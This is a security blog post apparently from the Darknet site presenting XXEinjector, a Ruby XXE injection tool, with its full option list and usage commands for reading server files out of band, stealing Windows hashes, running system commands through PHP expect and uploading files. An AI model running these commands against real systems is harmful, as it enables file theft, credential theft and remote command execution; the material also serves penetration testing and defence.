• Skip to main content
  • Skip to primary sidebar
  • Skip to footer
  • Home
  • About Darknet
  • Hacking Tools
  • Popular Posts
  • Darknet Archives
  • Contact Darknet
    • Advertise
    • Submit a Tool
Darknet – Hacking Tools, Hacker News & Cyber Security

Darknet - Hacking Tools, Hacker News & Cyber Security

Darknet is your best source for the latest hacking tools, hacker news, cyber security best practices, ethical hacking & pen-testing.

XXEinjector – Automatic XXE Injection Tool For Exploitation

May 5, 2018

Views: 8,055

XXEinjector is a Ruby-based XXE Injection Tool that automates retrieving files using direct and out of band methods. Directory listing only works in Java applications and the brute forcing method needs to be used for other applications.

XXEinjector - Automatic XXE Injection Tool For Exploitation

Usage of XXEinjector XXE Injection Tool

XXEinjector actually has a LOT of options, so do have a look through to see how you can best leverage this type of attack. Obviously Ruby is a prequisite to run the tool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  --host     Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
  --file     Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
  --path     Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
  --brute     Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
  --logger     Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.
  
  --rhost     Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
  --rport     Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)
 
  --oob     Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
  --direct     Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)
  --cdata     Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique.
  --2ndfile     File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
  --phpfilter Use PHP filter to base64 encode target file before sending.
  --netdoc      Use netdoc protocol instead of file (Java).
  --enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)
 
  --hashes     Steals Windows hash of the user that runs an application.
  --expect     Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
  --upload     Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
  --xslt     Tests for XSLT injection.
 
  --ssl     Use SSL.
  --proxy     Proxy to use. (--proxy=127.0.0.1:8080)
  --httpport Set custom HTTP port. (--httpport=80)
  --ftpport     Set custom FTP port. (--ftpport=21)
  --gopherport Set custom gopher port. (--gopherport=70)
  --jarport     Set custom port for uploading files using jar. (--jarport=1337)
  --xsltport Set custom port for XSLT injection test. (--xsltport=1337)
 
  --test     This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
  --urlencode URL encode injected DTD. This is default for URI.
  --nodtd     If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like.
  --output     Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
  --timeout     Timeout for receiving file/directory content. (--timeout=20)
  --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
  --fast     Skip asking what to enumerate. Prone to false-positives.
  --verbose     Show verbose messages.

If you aren’t familiar with XXE attacks you should start here first:

– XXE Injection Attacks – XML External Entity Vulnerability With Examples

Usage examples for XXinjector

Enumerating /etc directory in HTTPS application:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

Enumerating /etc directory using gopher for OOB method:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

Second order exploitation:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt

Bruteforcing files using HTTP out of band method and netdoc protocol:

1
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

Enumerating using direct exploitation:

1
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

Enumerating unfiltered ports:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

Stealing Windows hashes:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

Uploading files using Java jar:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

Executing system commands using PHP expect:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

Testing for XSLT injection:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

Log requests only:

1
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

You can download XXEinjector here:

XXEinjector-master.zip

Or read more here.

Related Posts:

  • HTTrack - Website Downloader Copier & Site Ripper Download
  • XXE Injection Attacks - XML External Entity…
  • nbtscan Download - NetBIOS Scanner For Windows & Linux
  • An Introduction To Web Application Security Systems
  • Upload_Bypass - Bypass Upload Restrictions During…
  • testssl.sh - Test SSL Security Including Ciphers,…
Share
Tweet
Share
Buffer
WhatsApp
Email

Filed Under: Hacking Tools Tagged With: ruby, xxe



Primary Sidebar

Search Darknet

  • Email
  • Facebook
  • LinkedIn
  • RSS
  • Twitter

Advertise on Darknet

Latest Posts

Systemic Ransomware Events in 2025 - How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

Views: 880

Jaguar Land Rover’s prolonged cyber outage in 2025 turned what would once have been a “single … ...More about Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like

SmbCrawler - SMB Share Discovery and Secret-Hunting

SmbCrawler – SMB Share Discovery and Secret-Hunting

Views: 890

SmbCrawler is a credentialed SMB spider that takes domain credentials and a list of hosts, then … ...More about SmbCrawler – SMB Share Discovery and Secret-Hunting

Heisenberg Dependency Health Check - GitHub Action for Supply Chain Risk

Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk

Views: 512

Heisenberg Dependency Health Check is a GitHub Action that inspects only the new or modified … ...More about Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk

Dark Web Search Engines in 2025 - Enterprise Monitoring, APIs and IOC Hunting

Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting

Views: 1,845

Dark web search engines have become essential for enterprise security teams that need early … ...More about Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting

mcp-scan - Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

Views: 585

mcp-scan is a security tool from Invariant Labs that can run as a static scanner or as a dynamic … ...More about mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers

Initial Access Brokers (IAB) in 2025 - From Dark Web Listings to Supply Chain Ransomware Events

Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events

Views: 619

Initial Access Brokers (IABs) have moved from niche forum actors to central wholesalers in the … ...More about Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events

Topics

  • Advertorial (28)
  • Apple (46)
  • Cloud Security (8)
  • Countermeasures (232)
  • Cryptography (85)
  • Dark Web (6)
  • Database Hacking (89)
  • Events/Cons (7)
  • Exploits/Vulnerabilities (433)
  • Forensics (64)
  • GenAI (13)
  • Hacker Culture (10)
  • Hacking News (237)
  • Hacking Tools (709)
  • Hardware Hacking (82)
  • Legal Issues (179)
  • Linux Hacking (74)
  • Malware (241)
  • Networking Hacking Tools (352)
  • Password Cracking Tools (107)
  • Phishing (41)
  • Privacy (219)
  • Secure Coding (119)
  • Security Software (235)
  • Site News (51)
    • Authors (6)
  • Social Engineering (37)
  • Spammers & Scammers (76)
  • Stupid E-mails (6)
  • Telecomms Hacking (6)
  • UNIX Hacking (6)
  • Virology (6)
  • Web Hacking (384)
  • Windows Hacking (171)
  • Wireless Hacking (45)

Security Blogs

  • Dancho Danchev
  • F-Secure Weblog
  • Google Online Security
  • Graham Cluley
  • Internet Storm Center
  • Krebs on Security
  • Schneier on Security
  • TaoSecurity
  • Troy Hunt

Security Links

  • Exploits Database
  • Linux Security
  • Register – Security
  • SANS
  • Sec Lists
  • US CERT

Footer

Most Viewed Posts

  • Brutus Password Cracker Hacker – Download brutus-aet2.zip AET2 (2,406,828)
  • Darknet – Hacking Tools, Hacker News & Cyber Security (2,173,934)
  • Top 15 Security Utilities & Download Hacking Tools (2,097,383)
  • 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) (1,200,209)
  • Password List Download Best Word List – Most Common Passwords (934,468)
  • wwwhack 1.9 – wwwhack19.zip Web Hacking Software Free Download (777,176)
  • Hack Tools/Exploits (674,118)
  • Wep0ff – Wireless WEP Key Cracker Tool (531,180)

Search

Recent Posts

  • Systemic Ransomware Events in 2025 – How Jaguar Land Rover Showed What a Category 3 Supply Chain Breach Looks Like November 26, 2025
  • SmbCrawler – SMB Share Discovery and Secret-Hunting November 24, 2025
  • Heisenberg Dependency Health Check – GitHub Action for Supply Chain Risk November 21, 2025
  • Dark Web Search Engines in 2025 – Enterprise Monitoring, APIs and IOC Hunting November 19, 2025
  • mcp-scan – Real-Time Guardrail Monitoring and Dynamic Proxy for MCP Servers November 17, 2025
  • Initial Access Brokers (IAB) in 2025 – From Dark Web Listings to Supply Chain Ransomware Events November 12, 2025

Tags

apple botnets computer-security darknet Database Hacking ddos dos exploits fuzzing google hacking-networks hacking-websites hacking-windows hacking tool Information-Security information gathering Legal Issues malware microsoft network-security Network Hacking Password Cracking pen-testing penetration-testing Phishing Privacy Python scammers Security Security Software spam spammers sql-injection trojan trojans virus viruses vulnerabilities web-application-security web-security windows windows-security Windows Hacking worms XSS

Copyright © 1999–2025 Darknet All Rights Reserved · Privacy Policy